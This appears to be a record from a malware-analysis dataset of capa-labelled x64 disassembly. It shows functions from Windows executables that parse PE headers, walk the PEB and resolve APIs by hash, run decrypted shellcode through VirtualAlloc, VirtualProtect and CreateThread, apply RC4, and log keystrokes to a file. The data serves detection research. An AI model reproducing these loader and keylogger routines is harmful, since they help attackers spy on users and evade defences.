joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002e20
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x168
cmp qword [rsp + 0x180], 0
je 0x140002e49
mov eax, dword [rsp + 0x188]
test rax, rax
jne 0x140002e50
xor eax, eax
jmp 0x140002fab
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140002e7d
xor eax, eax
jmp 0x140002fab
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4550
je 0x140002eaa
xor eax, eax
jmp 0x140002fab
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x40]
mov rdi, rax
lea rsi, [rcx + 0x18]
mov ecx, 0xf0
rep movsb byte [rdi], byte [rsi]
mov eax, 8
imul rax, rax, 0
mov eax, dword [rsp + rax + 0xe0]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x20], 0
jmp 0x140002f3e
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x14]
cmp dword [rsp + 0x20], eax
jae 0x140002fa9
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x58]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x60]
call fcn.140003160
cmp dword [rsp + 0x188], eax
jne 0x140002fa7
mov rax, qword [rsp + 0x68]
jmp 0x140002fab
jmp 0x140002f34
xor eax, eax
add rsp, 0x168
pop rdi
pop rsi
ret
Function at 0x140003030
Capabilities:
Access peb ldr_data

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x168
mov eax, dword [rsp + 0x170]
test rax, rax
jne 0x14000304e
xor eax, eax
jmp 0x140003149
mov rax, qword gs:[0x60]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140003147
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x48]
test rax, rax
je 0x140003133
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x48]
cmp eax, 0x104
jge 0x140003133
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x50]
movzx eax, word [rcx + rax*2]
test eax, eax
je 0x140003100
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x50]
movzx eax, word [rcx + rax*2]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.140002fc0
mov eax, dword [rsp + 0x20]
movzx ecx, byte [rsp + 0x30]
mov byte [rsp + rax + 0x50], cl
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
jmp 0x1400030b2
mov eax, dword [rsp + 0x20]
mov byte [rsp + rax + 0x50], 0
lea rcx, [rsp + 0x50]
call fcn.140003160
cmp eax, dword [rsp + 0x170]
jne 0x140003131
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x28]
mov rax, qword [rcx + rax + 0x20]
jmp 0x140003149
jmp 0x140003135
jmp 0x140003147
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
jmp 0x140003078
xor eax, eax
add rsp, 0x168
ret
Function at 0x140003240
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x238
mov dword [rsp + 8], 0
jmp 0x14000326f
mov eax, dword [rsp + 8]
inc eax
mov dword [rsp + 8], eax
cmp dword [rsp + 8], 0x100
jge 0x1400032b3
movsxd rax, dword [rsp + 8]
movzx ecx, byte [rsp + 8]
mov byte [rsp + rax + 0x30], cl
movsxd rax, dword [rsp + 8]
xor edx, edx
div qword [rsp + 0x248]
mov rax, rdx
movsxd rcx, dword [rsp + 8]
mov rdx, qword [rsp + 0x240]
movzx eax, byte [rdx + rax]
mov byte [rsp + rcx + 0x130], al
jmp 0x140003265
mov dword [rsp], 0
mov dword [rsp + 0xc], 0
jmp 0x1400032ce
mov eax, dword [rsp + 0xc]
inc eax
mov dword [rsp + 0xc], eax
cmp dword [rsp + 0xc], 0x100
jge 0x14000333a
movsxd rax, dword [rsp + 0xc]
movzx eax, byte [rsp + rax + 0x30]
mov ecx, dword [rsp]
add ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xc]
movzx ecx, byte [rsp + rcx + 0x130]
add eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp], eax
movsxd rax, dword [rsp + 0xc]
movzx eax, byte [rsp + rax + 0x30]
mov byte [rsp + 4], al
movsxd rax, dword [rsp]
movsxd rcx, dword [rsp + 0xc]
movzx eax, byte [rsp + rax + 0x30]
mov byte [rsp + rcx + 0x30], al
movsxd rax, dword [rsp]
movzx ecx, byte [rsp + 4]
mov byte [rsp + rax + 0x30], cl
jmp 0x1400032c4
mov dword [rsp + 0x10], 0
mov dword [rsp], 0
mov qword [rsp + 0x18], 0
jmp 0x140003361
mov rax, qword [rsp + 0x18]
inc rax
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x258]
cmp qword [rsp + 0x18], rax
jae 0x140003446
mov eax, dword [rsp + 0x10]
inc eax
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0x10], eax
movsxd rax, dword [rsp + 0x10]
movzx eax, byte [rsp + rax + 0x30]
mov ecx, dword [rsp]
add ecx, eax
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp], eax
movsxd rax, dword [rsp + 0x10]
movzx eax, byte [rsp + rax + 0x30]
mov byte [rsp + 5], al
movsxd rax, dword [rsp]
movsxd rcx, dword [rsp + 0x10]
movzx eax, byte [rsp + rax + 0x30]
mov byte [rsp + rcx + 0x30], al
movsxd rax, dword [rsp]
movzx ecx, byte [rsp + 5]
mov byte [rsp + rax + 0x30], cl
movsxd rax, dword [rsp + 0x10]
movzx eax, byte [rsp + rax + 0x30]
movsxd rcx, dword [rsp]
movzx ecx, byte [rsp + rcx + 0x30]
add eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x30]
mov rcx, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x250]
add rdx, rcx
mov rcx, rdx
movzx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x250]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
jmp 0x140003354
add rsp, 0x238
ret
Function at 0x140002854
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000289e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000289e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000289e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000289e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000289e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400028a0
xor al, al
add rsp, 0x28
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
mov rdx, qword gs:[rdx + 0x60]
push rsi
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
mov ecx, dword [rax + 0x18]
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
add rax, rdx
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140f14450]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140f14460]
mov dword [rax], 1
mov rax, qword [0x140f14470]
mov dword [rax], 1
mov rax, qword [0x140f143f0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140f14440]
mov dword [0x140f18020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140f14510]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140f144f0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140f143a0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001620
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
call dbg.__main
mov dword [rbp - 0x1c], 0
mov eax, dword [0x1400139f8]
mov eax, eax
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
mov eax, dword [0x1400139f8]
mov edx, eax
mov rax, qword [rbp - 8]
mov r8, rdx
lea rdx, [0x140003020]
mov rcx, rax
call sym.memmove
mov eax, dword [0x1400139f8]
mov ecx, eax
lea rdx, [rbp - 0x1c]
mov rax, qword [rbp - 8]
mov r9, rdx
mov r8d, 0x20
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
je 0x1400016f6
mov rax, qword [rbp - 8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0x91
add rsp, 0x50
pop rbp
ret

Function at 0x1400019d0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, [0x140f14200]
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140001a40
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x140f18104]
mov r12, rcx
test ebx, ebx
jle 0x140001b70
mov rax, qword [0x140f18108]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x140001a8b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x140001b15
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x140001a70
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x140001b92
mov rax, qword [0x140f18108]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140f18108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001b77
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001b0e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001b20
add dword [0x140f18104], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x140f18108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b0e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140f14278]
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x140001a98
mov rax, qword [0x140f18108]
mov edx, dword [rsi + 8]
lea rcx, [0x140f14240]
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, [0x140f14220]
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002110
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x140f18160]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140f18140]
test rbx, rbx
je 0x14000216c
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140002163
test r12, r12
je 0x140002163
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002148
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400023a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400023b8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023c0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400023d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140002415
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x14000240c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x140002417
add rax, 0x28
cmp rax, r9
jne 0x1400023f8
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x1400024b0
mov rdx, qword [0x140f143f0]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x14000249e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000249e
cmp word [rax + 0x18], 0x20b
jne 0x14000249e
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x1400024b0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x140002489
add r12, 0x28
cmp r12, rsi
je 0x1400024b0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x140002480
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x1400024c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140f143f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400024e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400024e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002535
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000252c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400024e0
add rax, 0x28
cmp rax, r9
jne 0x140002518
xor eax, eax
ret

Function at 0x140002540
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140f143f0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002560
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002568
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002560
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002580
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140f143f0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400025a0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400025a8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400025a0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x1400025e8
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400025df
test rcx, rcx
je 0x1400025a0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400025d0
xor eax, eax
ret
Function at 0x1400025f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140f143f0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002610
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002618
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140002630
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140f143f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002650
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002658
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002650
sub rcx, rdx
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140002650
lea eax, [r8 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop dword [rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x14000269c
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400026b0
add rdx, 0x28
cmp rdx, r9
jne 0x140002688
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400026c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140f143f0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400026e2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400026f0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026e2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400026e2
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x1400026e2
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14000273d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002750
add rdx, 0x28
cmp r10, rdx
jne 0x140002728
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14000275f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14000276f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002746
test ecx, ecx
jg 0x140002758
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400110dc
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001b9b0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400330f4]
call fcn.14001183e
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x14001ba07
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14001bb13
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14001baac
cmp qword [rbp + 0x28], 0
jle 0x14001baac
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x14001ba4c
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.1400117c1
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x14001bb02
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x14001bb02
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x14001148d
Capabilities:
Terminate process

Disassembly:
jmp 0x14001e590
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001159b
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x14001bb90
push rbp
push rdi
sub rsp, 0x268
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x62
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002c018]
xor rax, rbp
mov qword [rbp + 0x238], rax
lea rcx, [0x1400330f6]
call fcn.14001183e
mov byte [rbp + 4], 0x78
xor eax, eax
cmp eax, 1
je 0x14001bc9b
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x24], 8
jmp 0x14001bbf8
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0xbe
jg 0x14001bc96
mov ecx, dword [rbp + 0x24]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
cmp eax, 0xffff8001
jne 0x14001bc91
mov ecx, dword [rbp + 0x24]
call fcn.14001104b
movzx eax, al
test eax, eax
jne 0x14001bc91
mov edx, 0x118
lea rcx, [rbp + 0x50]
call fcn.14001175d
mov edx, 1
lea rcx, [rbp + 0x50]
call fcn.14001181b
nop
mov r9d, 0x40
mov r8d, 8
lea rdx, str.dat.txt
lea rcx, [rbp + 0x50]
call fcn.140011901
lea rcx, [rbp + 0x50]
call fcn.1400114ce
movzx eax, al
test eax, eax
je 0x14001bc88
lea rax, [rbp + 0x60]
movzx edx, byte [rbp + 0x24]
mov rcx, rax
call fcn.14001163b
lea rcx, [rbp + 0x50]
call fcn.14001114f
nop
lea rcx, [rbp + 0x50]
call fcn.1400116fe
jmp 0x14001bbf0
jmp 0x14001bbd1
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140026770]
call fcn.1400116d6
mov eax, edi
mov rcx, qword [rbp + 0x238]
xor rcx, rbp
call fcn.1400113ed
lea rsp, [rbp + 0x248]
pop rdi
pop rbp
ret

Function at 0x1400115b9
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001f0c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001f0e0
xor al, al
jmp 0x14001f161
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001f0f3
xor al, al
jmp 0x14001f161
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
